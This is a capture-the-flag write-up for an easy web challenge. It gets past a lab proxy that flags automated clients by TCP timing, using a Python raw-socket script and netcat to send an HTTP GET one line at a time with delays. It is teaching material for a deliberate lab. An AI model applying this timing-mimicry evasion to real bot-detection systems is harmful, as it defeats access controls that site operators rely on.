Level 16 - Anticheat Proxy Bypass
Level 16 - Anticheat Proxy Bypass
Platform: kslweb1 | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-03-08 | Status: Solved Techniques: line_by_line_http, raw_socket_http, tcp_timing_bypass
Summary
Task: Bypass an anticheat proxy that detects automated tools by TCP packet timing. Solution: Send HTTP request line by line with delays using raw sockets to mimic human typing in netcat.
Level 16 - Anticheat Proxy Bypass — kslweb1
Description
A challenge about bypassing an anticheat proxy that detects automated tools by HTTP request timing. The server distinguishes between curl/wget (which send the entire request in one packet) and a human using netcat (who types line by line with delays).
Analysis
Initial Reconnaissance
When accessing the main URL http://kslweb1.spb.ctf.su/second/level16 we get 403 Forbidden:
- Server: nginx/1.18.0 (Ubuntu)
- X-Powered-By: PHP/5.5.9-1ubuntu4.21
- Accept-CH: Sec-CH-UA, Sec-CH-UA-Mobile, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform-Version
The response contains a message: "This task is only available through Anticheat-Proxy on different port" and a link to http://kslweb1.spb.ctf.su:58080/second/level16.
Anticheat Proxy
When accessing port 58080 we get a page with an explanation:
- The task requires writing HTTP requests by hand
- The anticheat detects automated tools by checking whether all request lines are sent simultaneously (tool) or one at a time (human)
- It suggests using
netcat -C kslweb1.spb.ctf.su 58080
Detection Mechanism
The anticheat proxy analyzes TCP packet timing:
- Automated tools (curl, wget, requests) send the entire HTTP request in a single TCP packet
- A human typing in netcat sends each line separately with noticeable delays between them
Solution
To bypass the anticheat, we need to send the HTTP request line by line with delays between lines, simulating manual input.
python read-only • copy allowed#!/usr/bin/env python3 """ Bypass anticheat proxy by sending HTTP request line by line with delays. The proxy detects automated tools by checking if all lines arrive at once. """ import socket import time def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('kslweb1.spb.ctf.su', 58080)) s.settimeout(10) # HTTP request lines - each sent separately with delay lines = [ 'GET /second/level16/ HTTP/1.1\r\n', 'Connection: close\r\n', 'Host: kslweb1.spb.ctf.su\r\n', '\r\n' ] # Send each line with 1 second delay to mimic human typing for line in lines: s.send(line.encode()) time.sleep(1) # Receive response response = b'' while True: try: data = s.recv(4096) if not data: break response += data except: break s.close() print(response.decode('utf-8', errors='replace')) if __name__ == '__main__': main()
Alternatively, you can use netcat with manual input:
bash read-only • copy allowednetcat -C kslweb1.spb.ctf.su 58080 # Then manually type each line: # GET /second/level16/ HTTP/1.1 # Host: kslweb1.spb.ctf.su # Connection: close # (empty line)
Server response:
HTTP/1.1 200 OK
...
Done! Flag: KSL{REDACTED}